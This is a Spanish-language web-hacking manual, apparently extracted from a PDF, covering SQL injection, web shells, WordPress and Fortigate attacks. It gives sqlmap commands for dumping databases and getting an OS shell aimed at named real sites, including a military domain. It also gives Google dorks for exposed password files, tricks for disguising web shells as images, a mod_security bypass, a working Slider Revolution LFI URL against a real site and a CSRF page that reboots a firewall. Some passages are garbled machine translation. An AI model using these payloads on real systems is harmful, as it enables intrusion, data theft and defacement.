¿Que es django? RESUMEN: Como Django fue desarrollado en el entorno de una redacción de noticias, fue diseñado para hacer las tareas comunes del desarrollo web rápidas y fáciles. Esta es una introducción informal de cómo escribir una aplicación basada en una base de datos con Django. ¿Que es ORM? RESUMEN: Es una herramienta que te permite realizar Consultas SQL a la Base De Datos. (Ejemplo De Explotación “Django CMS v3.3”) La vulnerabilidad de la web de validación del lado de la aplicación puede ser explotada por cuentas de usuario de aplicaciones web privilegiadas con una baja interacción del usuario. Para la demostración de seguridad o para reproducir la vulnerabilidad de la web del lado de la aplicación, siga la información proporcionada y los pasos a continuación para continuar.

Page 32: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Ejemplo de explotación:

Descripción: Pueden explotarse varias cuentas mediante la inyección de fragmentos. Cuando otra cuenta de usuario privilegiada incluye un fragmento Las categorías estables guardadas provocan la ejecución de la carga útil. una de las páginas que se utilizan como pruebas podemos utilizar:

- Panel de administración django

Técnicas que se podrían desarrollar:

1) ataques de fuerza bruta 4) XSS (Stored) 2) Elevacion de privilegios 3) Arbirtary config download

Page 33: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Indentificando errores en paginas ASPNET:

RESUMEN: ASP.NET es un framework para aplicaciones web desarrollado y comercializado por Microsoft. Es usado por programadores y diseñadores para construir sitios web dinámicos, aplicaciones web y servicios web XML.

- Errores Identificables en ASP Full Disclosure & SQL Injection

Parametros vulnerables conocidos en asp.net

http://website/publications_press.asp?id=[SQL] http://website/press.asp?id=[SQL] http://website/[path]/view_product.asp?ID=[SQL]

Conocidos como una vulnerabilidad SQL Injection lo cual existen en una gran escala de páginas que trabajan con asp.net mas adelante trateremos de forma automatizada procesar estas vulnerabirilidades por ahora identificamos los errores.

Page 34: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

- Sitio Electoral de los estados unidos

Mediante nuestra inspección básicas puede ser con dnsdumpster o Wappalyzer lo

cual es una extensión de chrome que te ayudará a inspeccionar las tecnologías utilizadas en un sitio web. Extension Chrome: Wappalyzer lo cual utiliza tecnologías como “Microsoft-IIS/8.0 - 5” podríamos utilizar una técnica básica lo cual es buscar parámetros vulnerable y realizar un inyección SQL sea automatizada o manual para los que no conocen este sitio web fue anunciado durante el presunto hackeo de las elecciones en estados unidos por partes de hackers coordinados “Russos” . existen herramientas que pueden auditar por nosotros esta tecnología lo cual realiza la siguiente funciones: 1. Detección de versiones de Sharepoint y Frontpage! 2. Dumping Password de archivos de configuración expuestos! 3. Exposed Sharepoint / Frontpage Servicios de escaneo! 4. Comprobación de directorio expuesto! 5. Comprobación de derechos de acceso y archivos instalados! 6. ¡Consulta del servicio RPC! 7. Enumeración de archivos! 8. Archivo de carga Comprobar!

Page 35: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Automatizacion:

- Escaneo Automatizado

La herramienta que estoy utilizando se llama sparty detectó la version de

microsoft IIS el script de esta herramienta deberá cumplir las funciones de encontrar puntos vulnerables (Directorios) (Usuarios Almacenados) como lo pueden observar durante la explicacion inicial. [+] fetching information from the given target : (https://www.eac.gov) [+] target responded with HTTP code: (200) [+] target is running server: (Microsoft-IIS/8.0) [-] please provide the proper scanning options! [+] check help (-h) for arguments and url specification!

1) buscar directorios 2) buscar contraseñas en ficheros sensibles “Dumpear” Comandos: sparty.py -e rpc_version_check -u www.mivictima.com sparty_v_0.1.py -s layouts -u www.mienemigo.com sparty_v_0.1.py -d dump -u www.mienemigo.com sparty.py -l list -u www.mienemigo.com sparty.py -v ms_frontpage -u www.mienemigo.com sparty.py -v ms_sharepoint -u www.mienemigo.com sparty.py -f pvt -u www.mienemigo.com

Page 36: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Busqueda mediante dorks:

- Búsqueda de registros mediante dorks

inurl:inurl:members inurl:AllItems.aspx gmail.com or .gov

- Buscando extensiones débiles con contraseñas

- inurl:_vti_pvt/administrators.pwd o inurl:_vti_pvt

Page 37: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Shell: aprovecho este espacio para contar algo sobre las “Webs Shells” y es que

mayormente los hackers prefieren ante todo no simplemente tener el control sobre un modulo administrativo de usuarios y contenido mediante la web shell los hackers buscan improvisar la modificación de script para crear de esta una backdoor que tenga la posibilidad de almacenar contraseñas de registros pero que no se guarden en una base de datos en caso contrario buscan que se dirija a ellos. en muchas paginas se conocen estos hechos y hoy en dia esta siendo utilizado por muchs hackers del mundo. las paginas involucradas son las paginas web shopping donde se suele pagar y registrar numeros de tarjetas de credito y todos los datos como codigo de seguridad para realizar compras en linea. Listado De Shells por extension: ASPX: https://packetstormsecurity.com/files/137024/ASP-Webshell-For-IIS-8.html PHP: https://packetstormsecurity.com/files/137439/WSO-Shell-Variant-Using-A-404.html Listado Completo: https://github.com/tennc/webshell

Page 38: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Funciones de una web shell:

- 1N73CTION Web Shell

Las webshells son modificadas e integran nuevas funciones que puedes hacer con

los permisos desde el servidor donde esta se encuentra digamos que tenemos 1N73CTION Shell. 1N73CTION Shell tiene una barra de herramientas donde integran las siguientes herramientas: - Wordpress Fuerza Bruta: intentos de sesion wp-admin usuario.txt password.txt - Joomla Fuerza Bruta: intentos de sesion administrator usuario.txt pswd.txt - Cpanel Fuerza Bruta: :puerto Cpanel intentos user.txt pswd.txt - Cloudflare Bypass: Scan de sub dominio para saber si trabaja con una IP Diferente - Admin Finder: Busqueda de panel mediante diccionario con ubicaciones - Password Hash: cracker de MD5 o u otra hash - DDoS: Lanzar peticiones funciona mejor con una booter - SQLi Scan: Checa si es vulnerable el parametro - Email Spoofing: Suplanta la identidad email stmp de un servidor - Mass Defacement: Lidera un ataque a mayor escala a gran cantidad de servidores - Whois: checa el registro del servidor “nombre,telefono,emai,Direccion,empresa” - CMS Detector: detecta la version y que tecnologia se esta utilizando - MySQL: Realiza conexiones MySQL utilizando las credenciales config.php - PHP INFO: visualiza la información basica u root del servidor

Page 39: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Como subir una web shell:

- Subir Una WebShell!

Subir una web shell es un trabajo de todos los dias del ranking de zone-h y que es

zone-h pues zone-h se encuentran los hacktivistas que se involucran en ataques informaticos a servidores tan solo para dejar un mensaje de protesta o un simple “Owned” es un ranking y por lo tanto subir una web shell es tan importante para ello aunque no ganen dinero.

FORMATOS EN QUE PODEMOS ESCONDER UNA WEB SHELL:

“En algunos casos suele ser exitoso en otros casos no mucho”

Shell.php.png

Shell.php.jpg

¿Por que la esconden en ese formato? Los hacktivistas se las ven complicado con las áreas administrativas entre ellas

modulos de galería donde puedas subir solo “Fotografias” y donde intentas subir un formato incorrecto y este te devuelve un error “Formato Incorrecto” entonces por ello utilizamos los formatos de imágenes para engañar a la plataforma y subir nuestra web shell.

Page 40: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Code Injection:

- CODE INJECTION COMIENZO

Code Injection involucra mucho lo que tiene que ver con SQL Injection a pesar que nuestro manual involucra el comienzo de Code Injection y Despues SQL Injection explicare paso a paso como funciona entre Code Injection - SQL Injection a continuación. se puede inyectar código dentro de una barra de comentarios este puede ejecutar código malicioso en otro caso un formulario que permite ingresar código y visualizarla entre estos javascript de un sitio externo y Inyección HTML conocido como involucrar HTML con una función “Re Dirección” a un script PHP externo. Definición SQL: El lenguaje de consulta estructurado SQL es un lenguaje de base de datos normalizado, utilizado por los diferentes motores de bases de datos para realizar determinadas operaciones sobre los datos o sobre la estructura de los mismos. Definición SQL Injection: Mediante la inyección SQL un hacker puede consultar la tabla de usuario de una base de datos e involucrar data confidencial entre ella contraseñas y correos electrónicos en páginas de venta en línea se han visto casos donde la tabla order o orden se vuelve viral por las tarjetas de crédito que se extraen mediante la consulta SQL.

Page 41: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Anteriormente observamos como se realizaba los ataques de SQL Injection de manual en web pentesting avanzado dejamos eso atrás y logramos automatizar el proceso.

Claves: Rapidez, Trabajo , Habilidad, Cantidad

¿Quienes utilizan este método?

1) Carders: Extraer cantidad de usuarios propagar spam de phishing y extraer datos de tarjetas de crédito registradas

2) Hacktivistas: con el propósito de causar fugas de datos involucrando

“Misiones” Operaciones para llamar la atención y dejar un mensaje una vez extraído las credenciales este busca el panel administrativo hasta tener el control del contenido.

3) Hackers de sombrero blanco: Auditar la seguridad e informar mediante un

reporte de seguridad a la empresa o usuario afectado. 4) BlackHat: vender la databases en foros y portales onion o de forma privada.

Page 42: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Fallo SQL Exitoso:

1) Variables GET vulnerables ejemplo (.php?user=1) 2) Campo de métodos de llamada POST 3) cabeceras bajo http 4) IP sin protección Cloudflare

Herramientas:

SQLMAP

HAVIJ

La automatización ha podido disolver las medidas de seguridad de plataformas al

utilizar mod_security sqlmap es más reconocido por lograr bypassear esa barrera havij no ha hecho se cree que dejó de ser actualizado hace mucho tiempo hoy en día es utilizado de igual manera ya que sqlmap no ha podido estar tanto tiempo mandado request como havij.

- SQLMAP Bypass Protección Web

Page 43: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

COMANDOS:

Consulta Vulnerabilidad: sqlmap.py -u http://www.aviacion.mil.ve:8080/admin/expediente/resumen1.php?cedula='1 --dbs

Consultar DataBase: sqlmap.py -u http://www.aviacion.mil.ve:8080/admin/expediente/resumen1.php?cedula='1 --D NombreDataBase --tables

Consultando La Tabla Usuarios: sqlmap.py -u http://www.aviacion.mil.ve:8080/admin/expediente/resumen1.php?cedula='1 --D NombreDataBase -t usuarios --columns --dump

Dumpear Tabla: sqlmap.py -u http://www.aviacion.mil.ve:8080/admin/expediente/resumen1.php?cedula='1 --dump-all

Os-shell Con SQLMAP:

_se pueden subir ficheros mediante SQLMAP se ha demostrado que con SQLMAP

podríamos subir archivos que nos permitan subir nuestra web shell. opciones de subida de fichero según la extensión: PHP ASP ASPX JSP

Page 44: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

TABLA DE COMANDOS ESPECIALES SQLMAP

# Enumerar bases de datos sqlmap --dbms=mysql -u "$URL" --dbs

# Enumerate tables sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --tables

# Dump tabla de usuarios sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T "$TABLE" --dump

# Especificando Un Parámetro De Explotación sqlmap --dbms=mysql -u "http://www.mivictima.com/param1=value1&param2=value2" --dbs -p param2

# Especifica el parámetro a explotar en 'agradables' URIs sqlmap --dbms=mysql -u "http://www.mivictima.com/param1/value1*/param2/value2" --dbs

# Obtener OS Shell sqlmap --dbms=mysql -u "$URL" --os-shell

# Obtener shell SQL sqlmap --dbms=mysql -u "$URL" --sql-shell

# Consulta SQL sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --sql-query "SELECT * FROM $TABLE;"

# Utilizar el proxy de Tor Socks5 sqlmap --tor --tor-type=SOCKS5 --check-tor --dbms=mysql -u "$URL" --dbs

Page 45: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Subiendo una WebShell Con SQLMAP:

_ Mediante sqlmap subiremos la web shell ante todo ya una vez realizado la inyección SQL y haber entrado a las bases de datos podremos aplicar el siguiente método de SQLMAP utilizando OS Shell.

- Vulnerabirilidad ASP.NET

- integramos en los comandos sqlmap “--os-shell”

- Comando sqlmap - parámetro get vulnerable

Page 46: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Exigencias:

1) La página debe ser explotable y vulnerable a SQL Injection 2) Poseer suficientes privilegios 3) Obtener La Raíz Del Servidor “FPD”

¿FPD? : Full Path Disclosure _ Existe la posibilidad de leer un fichero bajo PHP en un servidor necesitamos La Raíz Del Servidor. usualmente una página basada en apache se conforman de la siguiente manera en sus “Ramas De Configuración”.

- /includes/config.php “Datos MYSQL” - wp-config.php

- Leyendo Fichero

DATOS A EXTRAER CONFIG:

$host="localhost" $user="db" $pass="" $db=""

Inyectando Shell: sqlmap.py -u http://www.Milw0rm.com/detalles.php?id=1 --sql-shell sqlmap.py -u http://www.Milw0rm.com/detalles.php?id=1 --os-shell

Page 47: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Se deberá de forma automatizada crear un script PHP “Uploader” .

- Script PHP “Uploader”

- Uploader

Seguridad en servidores Apache con mod_security:

- Fortaleza Al Server

Wiki: modSecurity es un firewall de aplicaciones Web embebible que ejecuta como módulo del servidor web Apache, provee protección contra diversos ataques hacia aplicaciones Web y permite monitorizar tráfico HTTP, así como realizar análisis en tiempo real sin necesidad de hacer cambios a la infraestructura existente.

Page 48: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Funciones:

1) Intercepta el cuerpo de la solicitud por ejemplo, la carga útil POST 2) Intercepta, almacena y, opcionalmente, válida archivos cargados 3) Realiza automáticamente acciones anti-evasión

Bypass mod_Security:

Uso de los firewalls de aplicaciones web, realicé una investigación sobre todos

los Firewalls de aplicaciones web para comprobar su eficacia en la protección contra secuencias de comandos entre sitios Ataques. mediante el uso de “Tamper” las funciones que tiene vamos a realizar la inyección SQL identifiquemos a “Mod_Security” a continuación:

- Respuesta al intentar consultar SQL en un parámetro vulnerable

Mod_Security

Como se trata de Mod_Security dentro de la carpeta denominada “Tamper” en SQLMAP pondremos en uso a tamper mas “modsecurityversioned.py” . lo cual mediante agregaremos como comando en el SQLMAP.

(- Mod_Security -)

--tamper “modsecurityzeroversioned.py” --batch

La función del script modsecurity en tamper solo funcionara con MySQL.

Page 49: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

(- Nuestro Comando -)

sqlmap.py -u "https://www.Milw0rm.com/informacion.php?info_id=1" --dbms "MySQL" -p "info_id" --tamper "modsecurityzeroversioned.py" --batch

La función es sencilla y ya que todo es automatizado sólo es de dejar que la

herramienta realice su parte del trabajo.

Hechos Basados En Bounty:

En un reporte Mathias Karlsson al pesar de no ser del top en bug bounty program en hackerone llegó un reporte una vulnerabilidad “Blind SQL Injection” es afectado el white hat primero intentó de manera manual hacer notar el error mediante la inyección manual. Parámetro Vulnerable:

http://www.bookfresh.com/reservations?page=1&per_page=10&total_pages=1&total_entries=2&sort_by=id&order=asc&client=(Inyeccion)

Poc: El recurso en / reservations no desinfecta adecuadamente la variable "client" antes de ponerla en una sentencia MySQL. Esto resulta en una vulnerabilidad de Inyección SQL Ciega. Podemos demostrar la vulnerabilidad haciendo que el servidor SQL espere un tiempo antes de responder. POC: (El sitio web pudo haber utilizado WAF)

http://www.bookfresh.com/reservations?page=1&per_page=10&total_pages=1&total_entries=2&sort_by=id&order=asc&client='+or+benchmark(0,md5(1))=

Page 50: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Vulnerabilidad

SQL A CIEGAS: Ataque a ciegas por inyección SQL, en inglés, Blind SQL injection, es una técnica de ataque que utiliza la inyección SQL. Se evidencia cuando en una página web, por una falla de seguridad, no se muestran mensajes de error al no producirse resultados correctos ante una consulta a la base de datos, mostrándose siempre el mismo contenido es decir, solo hay respuesta si el resultado es correcto.

Comando SQLMAP utilizado por white hat:

sqlmap.py --url="https://www.bookfresh.com/reservations?page=1&client=%27%20and%201=1*)+limit+1%23" --technique="B" --dbms="mysql" --skip="page" --cookie="PHPSESSID2=363dcc2095fa6a0a8b389e7b1389b3fe;" --sql-shell

- Por Último $ 1.500 USD. aunque este haya intentando subir una web shell

Page 51: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Time-based Blind SQL Injection:

_ Las técnicas basadas en tiempo se usan a menudo para lograr pruebas cuando no hay otra forma de recuperar información del servidor de base de datos. Este tipo de ataque inyecta un segmento SQL que contiene una función específica de DBMS o consulta pesada que genera un retardo de tiempo. Dependiendo del tiempo que se tarda en obtener la respuesta del servidor, es posible deducir algo de información. Como se puede adivinar, este tipo de enfoque de inferencia es particularmente útil para los ataques de inyección de SQL ciego y ciego profundo.

DBMS:

Función Spleep “Time” : Sólo disponible desde MySQL 5. Se tarda unos segundos en el parámetro.

Función BENCHMARK “count, expr” : Ejecuta la expresión especificada varias veces. Mediante el uso de un número grande como primer parámetro, usted será capaz de generar un retraso.

Ataque basado en tiempo de MySQL: Inyectar un retardo de tiempo para este DBMS es bastante sencillo. Dado que SLEEP () y BENCHMARK () son ambas funciones, pueden integrarse en cualquier sentencia SQL. El ejemplo siguiente muestra cómo un hacker podría identificar si un parámetro es vulnerable a la inyección SQL usando esta técnica una respuesta lenta significaría que la aplicación usa una base de datos MySQL.

Page 52: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

CONSULTA RESULTANTE CON Malicioso Sleep INYECTADO: SELECT * FROM products WHERE id=1-SLEEP(15) CONSULTA RESULTANTE CON BENCHMARK MALICIOSO INYECTADO: SELECT * FROM products WHERE id=1-BENCHMARK(100000000, rand())

El atacante también puede estar interesado en extraer cierta información o al

menos verificar algunos supuestos. Como se mencionó anteriormente, esto puede hacerse integrando el retardo de tiempo dentro de una sentencia condicional. Una vez más, MySQL lo hace bastante fácil ya que proporciona una función IF (). El siguiente ejemplo muestra cómo es posible combinar pruebas de inferencia con técnicas basadas en el tiempo para verificar la versión de la base de datos

Resultados De Consulta TIME-BASED Ataque A Verificar La Versión De La Base De Datos: SELECT * FROM products WHERE id=1-IF(MID(VERSION(),1,1) = '5', SLEEP(15), 0)

Si la respuesta del servidor tarda 15 segundos o más, podemos concluir que este servidor de base de datos está ejecutando MySQL versión 5.x. El ejemplo incluye SLEEP (), pero podría adaptarse fácilmente a BENCHMARK () gracias a SQL-InjectionNet por la buena explicación para encaminar este manual a un buen entendimiento.

LDAP Injection:

LDAP Injection es un ataque utilizado para explotar aplicaciones basadas en web que construyen instrucciones LDAP basadas en la entrada del usuario. Cuando una aplicación no puede desinfectar correctamente la entrada del usuario, es posible modificar las instrucciones LDAP mediante un proxy local.

Page 53: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Así que LDAP significa Lightweight Directory Access Protocol y es ser Protocolo que se utiliza para acceder a los directorios de información. por lo ¿Qué significaría y donde se puede cumplir en la práctica .. pero digamos por ejemplo, cuaderno para cada servidor que convierte su LDAP tiene la capacidad de acceder a la web el contenido a través de LDAP / LDAP-dir y. ¿Por qué? En este caso, cada usuario utilizando entradas CMU o módem cuaderno y realiza la autorización a través radio de aquí tiene la opción de usar su nombre de usuario y contraseña para acceder sus datos LDAP y, si es necesario, cambiarlos.

- Infraestructura LDAP Server

Atacando LDAP:

Por lo tanto, estos consulta que se envía al supuesto LDAP tomada por las aplicaciones de web y dárselo el problema es cuando no se filtra el contenido (como siempre) que se da en el procesamiento de día y el reenvío cadena ingresada Lo que no puede tener carbón severamente limitado y permitir la entrada de determinadas consultas y más de la cual podemos obtener fácilmente la información que debemos ser y así sucesivamente.

Page 54: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Clases De IP Durante Una Investigación:

- Tipo de clases De IP

Durante una investigación un hacker ha dicho que encontró una vulnerabilidad en

facebook entre las direcciones IP de clase C.

- Interfaz De Inicio De Files Facebook TLC

El hacker comenzó su investigación y encontró el “File Manager” de facebook con

producto TLC que permite la transferencia de archivos al servidor el hacker a primera vista ha decidido realizar una búsqueda sobre las vulnerabilidades de versiones antiguas o versiones recientes pero que 0days han sido dado a público.

Page 55: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

El hacker durante su investigación ha estado analizando como funciona ese producto de transferencias de ficheros para la detallo:

1) interfaces de usuario basadas en web se componen principalmente de Perl y PHP

2) Los códigos fuente PHP fueron codificadas por IonCube 3) Un montón de Perl Demonios en el fondo

Hacker: Después de una simple revisión, pensé Rapid7 ya debería haber conseguido las vulnerabilidades más fácil. T ^ T y las vulnerabilidades que debían ser desencadenada no eran fáciles de explotar. Por lo tanto tengo que mirar más profundo! Finalmente, encontré 7 vulnerabilidades, incluyendo

- Cross-site scripting x 3 - Pre-Auth inyección SQL conduce a la ejecución remota de código - Conocido de clave secreta conduce a la ejecución remota de código - Elevación local de privilegios x 2

Page 56: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

- El uso de pre-autenticación de SQL Injection escribir WebShell

Después de tomar el control del servidor con éxito, lo primero es comprobar si el

entorno de servidor es amigable con usted. Para mantenerse en el servidor ya, usted tiene que estar familiarizado con los entornos, restricciones, registros, etc y se esfuerzan para no ser detectados. Hay algunas restricciones en el servidor:

- Firewall de conexión de salida no está disponible, incluyendo TCP, UDP, el puerto 53, 80 y 443

- servidor de registro del sistema remoto - auditd registros habilitados

ahora que conocemos como fue reportado estas vulnerabilidades podemos comenzar a entender cada una de ellas ya que pueden encontrarse en otros servidores importantes sin mitigar.

Page 57: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Hax0r Versión - Wordpress Seguridad:

Durante los inicios de wordpress ha sido víctima de defacement en caso de wordpress solo obtendremos credenciales de administración o usuarios registrados si esta opción se encuentra habilitada durante el uso de Wordpress la seguridad para algunas empresas no es una opción que se encuentre en sus mentes entonces Wordpress suele ser atacado y luego buscan estos administradores de contenido blindar wordpress.

En wordpress hay un mayor enfoque en los “Plugins” que utiliza esta CMS. Wordpress ha sido explotado de muchas maneras y de manera automatizada desde una terminal a continuación:

Page 58: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Existe plugins donde permiten subir “Imágenes - fotografías - banners” para catalogarla en la página web basada en wordpress los hackers encuentran puntos vulnerables donde estos hackers han podido subir de forma “Remota” una webshell tan sencillo como el siguiente script.

- Función Para Subir Archivo “Arbirtary File Upload”

Directorio Donde se almacenará nuestra shell: “wp-content/uploads/”

- Buscando Paginas Wordpress Vulnerables - inurl:/wp-content/

inurl:upload.php

Page 59: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

-WebShell en el directorio “Uploads”

Por lo general siempre cuando apliquemos este tipo de métodos bajo wordpress sabremos que siempre la “Shell” se encontrará ubicada en wp-content uploads. xup.php - Web Shell o Uplaoder.

SQL Injection En Wordpress:

La auditoría en sitios webs preferiblemente se realiza de forma manual pero como

sabemos que las paginas que estamos testeando no bloquea por la cantidad de request al servidor vulnerable entonces se nos facilita utilizar otra herramienta como havij o sqlmap. Dorks que podemos utilizar:

inurl:/wp-content/plugins/ ext:php inurl:id inurl:wp-content/themes/ ext:php inurl:id

Page 60: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

En conjunto con chema alonso en el 2014 llegamos a construir un reporte informativo sobre una vulnerabilidad de SQL Injection método “GET” que fue explotada de forma automatizada nos permitió entrar a diferentes páginas e incluso a la mensajería privada de gobierno de USA.

- Reporte

Paginas Vulnerables

“inurl:wp-content/plugins/scarcitybuilder/shortcode/index.php?edit=”

Page 61: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Como proteger wordpress:

Durante wordpress es de considerar que debemos actualizar la versión de wordpress y prevenir la incorporación de plugins que tengan un “CVE” dentro del entorno hacking las vulnerabilidades más graves se detallan entre SQLi,LFI,RFI,XXE entre otras técnicas que podriamos demostrar antes de comenzar esta área explicamos las medidas de tomar durante el uso de wordpress.

1) ocultar nombre de usuario público dentro del “Autor” de creacion de articulos de wordpress

2) actualizar versión de wordpress a la más reciente aquellas versiones incorporadas suelen ser igual de vulnerables parcheadas pero explotables.

3) Mantener una backup y ocultar los directorios de nuestro página en Wordpress “No Almacenar Backup Dentro De algún directorio”

4) Usar plugins de seguridad e incorporar un doble factor de autenticación 5) Evitar intentos de sesión en wp-admin o wp-login es decir evitar la

ampliación de ataques de fuerza bruta

- Evitando Ataque Informatico -

Page 62: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

LFI Wordpress:

1) Slider Revolution LFI

Es práctico su función y es que podemos obtener el config de wordpress donde se

encuentran las credenciales como por ejemplo:

- wp-config.php “Credenciales”

- Descarga Automatica del wp-config

PoC:

wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

Ejemplo: “El hacker puede solicitar una backdoor por POST mediante CuRL que se envia mediante update_plugin” “Script”.

https://ambtec.com.ve/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

Page 63: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Proteccion Wordpress:

“Firewall WAF Cloud Security Protection”

WAF Cloud Security debe cumplir su función lo cual evita los ataques informáticos como ataques de denegación de servicios ejecuciones de exploits a tus servidores protección de IPs entre otros productos se pueden elegir como “Incapsula, Sucuri o CLoudflare”.

- Bloques Ante Intentos De Ataque

- Previene -

- LFI - RFI - XXE - SQLi - XSS - DDoS - Web Scanners Down

Page 64: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

WIKI: Es una parte de un sistema o una red que está diseñada para bloquear el acceso no autorizado, permitiendo al mismo tiempo comunicaciones autorizadas. Se trata de un dispositivo o conjunto de dispositivos configurados para permitir, limitar, cifrar, descifrar, el tráfico entre los diferentes ámbitos sobre la base de un conjunto de normas y otros criterios. Debilidades: 1 - El cortafuegos no puede proteger contra los ataques de ingeniería social. 2 -El cortafuegos no puede proteger contra los ataques posibles a la red interna por virus informáticos a través de archivos y software. La solución real está en que la organización debe ser consciente en instalar software antivirus en cada máquina para protegerse de los virus que llegan por cualquier medio de almacenamiento u otra fuente. 4 - El cortafuegos no protege de los fallos de seguridad de los servicios y protocolos cuyo tráfico esté permitido. Hay que configurar correctamente y cuidar la seguridad de los servicios que se publiquen en Internet.

- Producto Fortinet dentro de una entidad bancaria

Page 65: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

- Vulnerabilidades FortiGate Firewall

CSRF: Debido a que muchas funciones no están protegidas por CSRF-Tokens, es posible bajo ciertas condiciones modificar los Ajustes del Sistema, las Directivas de Firewall o tomar el control sobre el cortafuegos del agujero. Requerimientos:

- Un atacante necesita conocer la IP del dispositivo. - Un administrador necesita una conexión autenticada con el dispositivo.

PoC: Este ejemplo reiniciará un Firewall Fortigate. Esta es sólo una de muchas posibilidades para atacar esta vulnerabilidad.

<html> <body onload="submitForm()"> <form name="myForm" id="myForm" action="https://###_VICTIM_IP_###/system/maintenance/shutdown" method="post"> <input type="hidden" name="reason" value=""> <input type="hidden" name="action" value="1"> <input type="submit" name="add" value="rebootme"> </form> <script type='text/javascript'>document.myForm.submit();</script> </html>

Page 66: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

XXE:

